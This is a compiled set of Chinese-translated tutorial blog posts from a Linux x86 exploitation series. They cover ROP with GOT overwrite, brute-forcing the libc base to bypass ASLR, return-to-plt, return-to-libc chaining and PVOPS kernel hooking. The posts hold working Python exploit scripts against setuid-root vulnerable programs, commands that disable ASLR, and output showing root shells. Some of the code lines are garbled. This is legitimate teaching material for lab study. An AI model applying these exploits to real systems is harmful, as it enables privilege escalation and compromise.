buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_oct1)
#Below stack frames are for strcpy (to copy getuid@PLT to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(getuid_oct1)
#Below stack frames are for strcpy (to copy seteuid arg to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(seteuid_null_arg)
#Below stack frames are for strcpy (to copy execve_arg1 to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg1_oct1)
#Below stack frames are for strcpy (to copy execve_arg2 to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct4)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct3)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct2)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_arg2_oct1)
#Below stack frames are for strcpy (to copy execve_arg3 to custom stack)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
cust_esp += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(cust_esp)
buf += conv(execve_null_arg)
#Below stack frame is for strcpy (to copy execve path "/bin/sh" to custom stack @ loc 0x804ac60)
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct1)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct2)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct3)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct4)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct1)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct5)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct6)
#Below stack frame is for strcpy (to copy execve argv[0] (0x804ac60) to custom stack @ loc 0x804ac68)
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct4)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct3)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct2)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct1)
#Below stack frame is for strcpy (to copy execve argv[1] (0x0) to custom stack @ loc 0x804ac6c)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
#Stack Pivot
buf += conv(pr_addr)
buf += conv(cust_base_esp)
buf += conv(lr_addr)
print "Calling vulnerable program"
call(["./vuln", buf])
Executing above exploit code gives us root shell (as shown below):

执行上面的漏洞利用代码就可以得到下面的root shell

1
2
3
4
5
6
7
8
$ python exp.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��ᆳ�ᆳ�ᆳ�ͅᆳހ�����ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳޢ�@���0�����Ѓ΅d�ˁЃ΅e�U�Ѓ΅f�0�Ѓ΅g�C�Ѓ΅h�܃Ѓ΅i�U�Ѓ΅j�0�Ѓ΅k�C�Ѓ΅l�`�Ѓ΅m�`�Ѓ΅n�`�Ѓ΅o�`�Ѓ΅p���Ѓ΅q�Ѓ΅r�0�Ѓ΅s�C�Ѓ΅t���Ѓ΅u�Ѓ΅v�0�Ѓ΅w�C�Ѓ΅x�`�Ѓ΅y�`�Ѓ΅z�`�Ѓ΅{�`�Ѓ΅`�T�Ѓ΅a�W�Ѓ΅b�V�Ѓ΅c�^�Ѓ΅d�T�Ѓ΅e�b�Ѓ΅f���Ѓ΅h���Ѓ΅i�Ѓ΅j�0�Ѓ΅k�C�Ѓ΅l�`�Ѓ΅m�`�Ѓ΅n�`�Ѓ΅o�`���`�i�
Len:1008
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

参考

PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP EXPLOITS


转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-绕过ASLR-第三篇章(GOT覆盖与GOT解引用)》与作者信息:CSysSec出品

绕过ASLR-第二篇章(暴力破解)


CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。
转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-绕过ASLR-第二篇章(暴力破解)


  • 0X01 什么是暴力破解
  • 0X02
  • 0X03

阅读基础:
经典栈缓冲区溢出
VM Setup: Ubuntu 12.04(x86)

在这篇文章中,我们来看看如果利用暴力破解技术来绕过共享库的地址随机化。

什么是暴力破解

通过此技术,攻击者选择一个特定的libc基地址,然后不断尝试攻击程序,直到成功。如果你幸运的话,这是绕过ASLR最简单的技术。

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
fflush(stdout);
return 0;
}

编译命令

1
2
3
4
5
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

现在让我们来看看攻击者是如何暴力破解libc基地址的。下面是当开启随机化时,libc不同的基地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b6000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7568000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7542000)
$ ldd ./vuln | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756a000)
$

从上面可知,libc的随机化只局限在8个比特位中。因此,最多只要尝试256次,就可以获取root shell。下面的漏洞利用代码中,选择0xb7595000作为libc的基地址,然后我们再不断尝试

漏洞利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
libc_base_addr = 0xb7595000
exit_off = 0x00032be0 #Obtained from "readelf -s libc.so.6 | grep system" command.
system_off = 0x0003f060 #Obtained from "readelf -s libc.so.6 | grep exit" command.
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
system_arg = 0x804827d
#endianess convertion
def conv(num):
return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 268
buf += conv(system_addr)
buf += conv(exit_addr)
buf += conv(system_arg)
print "Calling vulnerable program"
#Multiple tries until we get lucky
i = 0
while (i < 256):
print "Number of tries: %d" %i
i += 1
ret = call(["./vuln", buf])
if (not ret):
break
else:
print "Exploit failed"

执行上面的漏洞利用代码就可以获取root shell,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ python exp.py
Calling vulnerable program
Number of tries: 0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
Exploit failed
...
Number of tries: 42
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
Exploit failed
Number of tries: 43
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

注意: 类似地,栈地址和堆地址也可以暴力破解!


转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-绕过ASLR-第二篇章(暴力破解)》与作者信息:CSysSec出品

Hook内核之PVOPS

作者:Diting0x


CSysSec注: 本文来自Diting0x个人博客,讲述在虚拟化平台下如何利用PVOPS框架来hook内核
转载本文请务必注明,文章出处:《Hook内核之PVOPS》与作者信息:Diting0x


pvops是做什么的? 简单地说,hook kernel.
利用pvops你可以自定义自己的write_cr3函数,你可以修改页表,追踪页表更新的信息,而这些听起来非常底层的操作,利用pvops都变得简单起来。

pvops接口来源于Xen项目,初衷是建立一个类虚拟化(para-virtualized)内核来适应于不同的hypervisor,当然也包括适应于非虚拟化平台。

pvops将类虚拟化操作分成一系列结构:pv_time_ops,pv_cpu_ops,pv_mmu_ops,pv_lock_ops和pv_irq_ops。

举个例子,x86系统中利用’MOV CR3’指令来加载页表。pvops将其替换为一个间接跳转到pv_mmu_ops -> write_cr3函数。 每种虚拟化系统,包括本地x86平台,对这些函数都有自己的实现。 对于x86平台,这些函数的实现只是简单地对原始函数指令的封装。比如对于pv_mmu_ops -> write_cr3函数,x86平台的具体实现为native_write_cr3函数:

1
2
3
4
5
static inline void native_write_cr3(unsigned long val)
{
asm volatile("mov %0,%%cr3": : "r" (val), "m" (__force_order));
}

pvops将本地底层的硬件指令通过pv_xxx_ops结构体替换为间接跳转函数。下面以pv_mmu_ops为例,详细分析其内部结构,pv_mmu_ops的定义为:(文中列出主要部分,完整定义,可参看pv_mmu_ops结构定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
struct pv_mmu_ops {
unsigned long (*read_cr2)(void);
void (*write_cr2)(unsigned long);
unsigned long (*read_cr3)(void);
void (*write_cr3)(unsigned long);
/*
* Hooks for intercepting the creation/use/destruction of an
* mm_struct.
*/
void (*activate_mm)(struct mm_struct *prev,
struct mm_struct *next);
void (*dup_mmap)(struct mm_struct *oldmm,
struct mm_struct *mm);
void (*exit_mmap)(struct mm_struct *mm);
/* TLB operations */
void (*flush_tlb_user)(void);
void (*flush_tlb_kernel)(void);
void (*flush_tlb_single)(unsigned long addr);
void (*flush_tlb_others)(const struct cpumask *cpus,
struct mm_struct *mm,
unsigned long start,
unsigned long end);
/* Hooks for allocating and freeing a pagetable top-level */
int (*pgd_alloc)(struct mm_struct *mm);
void (*pgd_free)(struct mm_struct *mm, pgd_t *pgd);
/*
* Hooks for allocating/releasing pagetable pages when they're
* attached to a pagetable
*/
void (*alloc_pte)(struct mm_struct *mm, unsigned long pfn);
void (*alloc_pmd)(struct mm_struct *mm, unsigned long pfn);
void (*alloc_pud)(struct mm_struct *mm, unsigned long pfn);
void (*release_pte)(unsigned long pfn);
void (*release_pmd)(unsigned long pfn);
void (*release_pud)(unsigned long pfn);
/* Pagetable manipulation functions */
void (*set_pte)(pte_t *ptep, pte_t pteval);
void (*set_pte_at)(struct mm_struct *mm, unsigned long addr,
pte_t *ptep, pte_t pteval);
void (*set_pmd)(pmd_t *pmdp, pmd_t pmdval);
void (*set_pmd_at)(struct mm_struct *mm, unsigned long addr,
pmd_t *pmdp, pmd_t pmdval);
void (*pte_update)(struct mm_struct *mm, unsigned long addr,
pte_t *ptep);
}

比如说你要在分配页表项的时候hook (write_cr3)函数, 可以将(write_cr3)函数赋值为自己的自定义函数。 默认情况下,内核中pvops框架中提供的自定义函数如下: (完整可参看 pv_mmu_ops函数定义)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct pv_mmu_ops pv_mmu_ops {
.read_cr2 = native_read_cr2,
.write_cr2 = native_write_cr2,
.read_cr3 = native_read_cr3,
.write_cr3 = native_write_cr3,
.alloc_pte = paravirt_nop,
.alloc_pmd = paravirt_nop,
.alloc_pud = paravirt_nop,
.release_pte = paravirt_nop,
.release_pmd = paravirt_nop,
.release_pud = paravirt_nop,
.set_pte = native_set_pte,
.set_pte_at = native_set_pte_at,
.set_pmd = native_set_pmd,
.set_pmd_at = native_set_pmd_at,
.pte_update = paravirt_nop,
}

接着定义的函数会被传入到这里:

1
2
3
4
5
static inline void write_cr3(struct mm_struct *mm, unsigned long pfn)
{
PVOP_VCALL2(pv_mmu_ops.write_cr3, mm, pfn);
}

至于PVOP_VCALL2具体做了什么,可以不必去关心。


转载本文请务必注明,文章出处:《Hook内核之PVOPS》与作者信息:Diting0x


绕过ASLR-第一篇章(return-to-plt)


CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。
转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-绕过ASLR-第一篇章(return-to-plt)


  • 0x01 ASLR
  • 0x02 Return-to-plt
  • 0x03 调用‘function@PLT’

阅读基础:
经典栈缓冲区溢出
VM Setup: Ubuntu 12.04(x86)

在前面的文章中,为了利用漏洞代码,攻击者需要知道:

  • 栈地址(为了跳转到shellcode中)
  • libc基地址(为了成功绕过NX)

因此,为了防御攻击者的行为,安全研究人员提出一种漏洞利用缓解(exploit mitigation)方法: “ASLR”

ASLR

地址空间布局随机化(ASLR)是一种漏洞利用缓解方法,其可以随机化

  • 栈地址
  • 堆地址
  • 共享库地址

上述地址一旦被随机化,尤其是当共享库地址被随机化时,由于攻击者需要知道libc的基地址,我们前面提到的绕过NX的方法不再有效。但这种缓解技术也不是完全安全的。

前文中,我们已经知道exp.py中的 libc函数地址是以下面计算方式得到的:

libc函数地址=libc基地址+函数偏移

这里

  • 由于随机化被关闭,libc基地址是个常量(在‘vuln’二进制文件中是0xb7e22000)
  • 函数偏移也是常量(可以执行”readelf -s libc.so.6 | grep”获取)

现在当我们利用以下命令打开全随机化选项时(full randomization)

#echo 2 > /proc/sys/kernel/randomize_va_space

libc基地址将会被随机化

注意: 只有libc的基地址被随机化了,从基地址开始的一个特殊函数的偏移仍然是个常量!因此,尽管打开了ASLR,只要我们能利用下面三项技术绕过共享库基地址的随机化,漏洞程序仍然能被成功利用.

Return-to-plt

利用这项技术,攻击者返回到一个函数的PLT(其地址没有被随机化-在执行之前就可以知道),而不是返回到libc函数(其地址被随机化了)。 由于’function@PLT’没有被随机化,攻击者不需要预测libc的基地址,而只要简单地返回到‘function@PLT’就可以调用这个’function’。

什么是PLT,如何调用‘function@PLT'来调用其中的'function'

调用‘function@PLT’

要了解过程链接表(Procedural Linkage Table(PLT)),先来简单介绍一下共享库!

不同于静态库的是,共享库的text段在多个进程间共享,但它的数据段在每个进程中是唯一的。这样设计可以减少内存和磁盘空间。正是text段在多个进程间共享,其必须只有读和执行权限。没有了写权限,动态链接器不能在text段内部重定位数据描述符(data symbol)或者函数地址。这样一来,程序运行期间,动态链接器是如何在不修改text段的情况下,重定位共享库描述符的呢? 利用PIC!

什么是PIC呢?

位置独立代码(Position Independent Code(PIC))用来解决这个问题: 尽管共享库的text段在加载期间执行重定为,也能确保它能在多个进程中共享。PIC通过一层间接寻址来达到这个目的。共享库的text段中没有绝对虚拟地址来替代全局描述符和函数引用,而是指向数据段中的一个特定表。这个表用来存放全局描述符和函数的绝对虚拟地址。动态链接器作为重定位的一部分会填充这个表。因此,在重定位时,只有数据段被修改,而text段依然完好无顺。

动态链接器使用下面两种方法来重定位PIC中的全局描述符和函数:

  • 全局偏移表(Global Offset Table(GOT)): 全局偏移表为每个全局变量分配一个4字节的表项,这4个字表项中含有全局变量的地址。当代码段中的一条指令引用一个全局变量时,这条指令指向的是GOT中的一个表项,而不是全局变量的绝对虚拟地址。当共享库被加载时,动态链接库会重定位这个GOT表项。因此,PIC利用GOT通过一层间接寻址来重定位全局描述符.
  • 过程链接表(Procedural Linkage Table(PLT)): 过程链接表含有每个全局函数的存根代码。text段中的一条call指令不会直接调用这个函数(‘function’),而是调用这个存根代码(function@PLT)。存根代码在动态链接器的帮助下,解析函数地址并将其拷贝到GOT(GOT[n])中。解析过程只发生在第一次调用函数(‘function’)的时候,之后代码段中的call指令调用存根代码(function@PLT)而不是调用动态链接器去解析函数地址(‘function’)。存根代码直接从GOT(GOT[n])获取函数地址并跳转到那里。因此,PIC利用PLT通过两层间接寻址来重定位函数地址

很高兴你知道了PIC并能理解它能保证共享库的text段的完整性,因此能帮助共享库的text段再许多进程间共享! 但你是否怀疑过,为什么可执行文件的text段并不在任何进程间共享,也需要有个GOT表项或者PLT存根代码呢?这是出于安全保护机制的考虑。如今默认情况下,text段只提供读和执行权限并没有写权限(R_X)。这种保护机制并允许动态链接库对text段进行写操作,因此也就不能重定位text段内部的数据描述符或函数地址。为了让动态链接器能重定位,可执行文件同共享库一样也需要GOT表项和PLT存根代码。

代码样例

1
2
3
4
5
6
7
8
//eg.c
//$gcc -g -o eg eg.c
#include <stdio.h>
int main(int argc, char* argv[]) {
printf("Hello %s\n", argv[1]);
return 0;
}

下面的汇编代码说明了’printf’并不是直接被调用,而是其相应的PLT代码 ‘printf@PLT’被调用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) disassemble main
Dump of assembler code for function main:
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: and $0xfffffff0,%esp
0x080483ea <+6>: sub $0x10,%esp
0x080483ed <+9>: mov 0xc(%ebp),%eax
0x080483f0 <+12>: add $0x4,%eax
0x080483f3 <+15>: mov (%eax),%edx
0x080483f5 <+17>: mov $0x80484e0,%eax
0x080483fa <+22>: mov %edx,0x4(%esp)
0x080483fe <+26>: mov %eax,(%esp)
0x08048401 <+29>: call 0x8048300 <printf@plt>
0x08048406 <+34>: mov $0x0,%eax
0x0804840b <+39>: leave
0x0804840c <+40>: ret
End of assembler dump.
(gdb) disassemble 0x8048300
Dump of assembler code for function printf@plt:
0x08048300 <+0>: jmp *0x804a000
0x08048306 <+6>: push $0x0
0x0804830b <+11>: jmp 0x80482f0
End of assembler dump.
(gdb)

在’printf’第一次被调用前,其相应的GOT表项(0x804a000)指回到PLT代码(0x8048306)本身。因此,当printf函数第一次被调用时,其相应的函数地址通过动态链接器来解析。

1
2
3
(gdb) x/1xw 0x804a000
0x804a000 <printf@got.plt>: 0x08048306
(gdb)

现在printf被调用之后,其相应的GOT表项含有printf的函数地址(如下图):

1
2
3
(gdb) x/1xw 0x804a000
0x804a000 <printf@got.plt>: 0xb7e6e850
(gdb)

注意 1: 如果你想了解PLT和GOT的更多信息,可以阅读这篇文章

注意 2: 我会在别的文中单独谈谈动态链接器是如何解析libc函数地址的。现在只要记住下面两条语句(printf@PLT的一部分)是用来解析函数地址的!

1
2
0x08048306 <+6>: push $0x0
0x0804830b <+11>: jmp 0x80482f0

了解这个之后,我们可以知道攻击者并不需要知道libc函数的地址来调用libc函数,只要简单通过’function@PLT’(在执行前知道)就可以调用了。

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
/* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */
void shell() {
system("/bin/sh");
exit(0);
}
int main(int argc, char* argv[]) {
int i=0;
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
return 0;
}

编译命令:

1
2
3
4
5
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

现在反汇编可执行文件’vuln’,我们可以找出’system@PLT’与’exit@PLT’的地址

1
2
3
4
5
6
7
8
9
10
11
(gdb) disassemble shell
Dump of assembler code for function shell:
0x08048474 <+0>: push %ebp
0x08048475 <+1>: mov %esp,%ebp
0x08048477 <+3>: sub $0x18,%esp
0x0804847a <+6>: movl $0x80485a0,(%esp)
0x08048481 <+13>: call 0x8048380 <system@plt>
0x08048486 <+18>: movl $0x0,(%esp)
0x0804848d <+25>: call 0x80483a0 <exit@plt>
End of assembler dump.
(gdb)

利用这些地址,我们就可以写出绕过ASLR(与NX)的漏洞利用代码!

漏洞利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
system = 0x8048380
exit = 0x80483a0
system_arg = 0x80485b5 #Obtained from hexdump output of executable 'vuln'
#endianess convertion
def conv(num):
return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 272
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./vuln", buf])

执行上述程序就可以获取root shell,如下所示:

1
2
3
4
5
6
7
$ python exp.py
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

注意: 为了获取这个root shell,可执行文件必须包含’system@PLT’与’exit@PLT’代码。在第三篇中,我会谈谈利用GOT覆盖与GOT解引用技术,在可执行文件中并没有需要的PLT存根代码并且系统已经打开了ASLR的情况下,攻击者如何调用libc函数。


转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-绕过ASLR-第一篇章(return-to-plt)》与作者信息:CSysSec出品

Return-to-libc链接绕过NX

作者: CSysSec出品


CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。
转载本文请务必注明,文章出处:《Linux(X86)漏洞利用系列-Return-to-libc链接绕过NX》与作者信息:CSysSec出品


  • 0x01 什么Return-to-libc链接
  • 0x02 什么是帧欺骗
  • 0x03 leave ret指令是如何调用其上方libc函数的

阅读基础:

VM Setup: Ubuntu 12.04(x86)

什么是Return-to-libc链接

前文中可以看出,攻击者需要调用多个libc函数才能成功利用漏洞。一种链接libc函数的简单方法就是将不同libc函数依次放在栈中。但由于函数参数的原因,这是不可能的。现在你可能还不明白,没关系,继续往下读就好。

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
seteuid(getuid()); /* Temporarily drop privileges */
strcpy(buf,argv[1]);
printf("%s",buf);
fflush(stdout);
return 0;
}

注意: 上述代码和前文中的(vuln_priv.c)一样。

编译命令:

1
2
3
4
5
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

正如前文所说,链接seteuid,system和exit函数能允许我们利用漏洞代码”vuln”。但并没有这么简单直接,主要在于下面这两个问题:

  • 1.攻击者需要将两个libc函数参数或者其中一个libc函数参数与另一个libc函数地址放在栈的同一位置。显然这是不可能的(如下图所示)
  • 2.seteuid_arg必须为0.由于我们的缓冲区溢出是由strcpy操作引起的,0变成了一个不好的字符。比如,strcpy函数不会将0之后的字符拷贝到栈中。



我们来看看如何解决上述两个问题。

问题1: 为解决这个问题,Nergal在phrack中提出了两个聪明的技术

    1. ESP上升(ESP Lifting)
    1. 帧欺骗(Frame fakeing)

由于ESP lifting技术要求二进制文件在编译的时候不能设置帧指针(-fomit-frame-pointer),这里我们只谈帧欺骗技术。 由于我们的二进制文件(vuln)含有帧指针,只好采用帧欺骗技术。

什么是帧欺骗

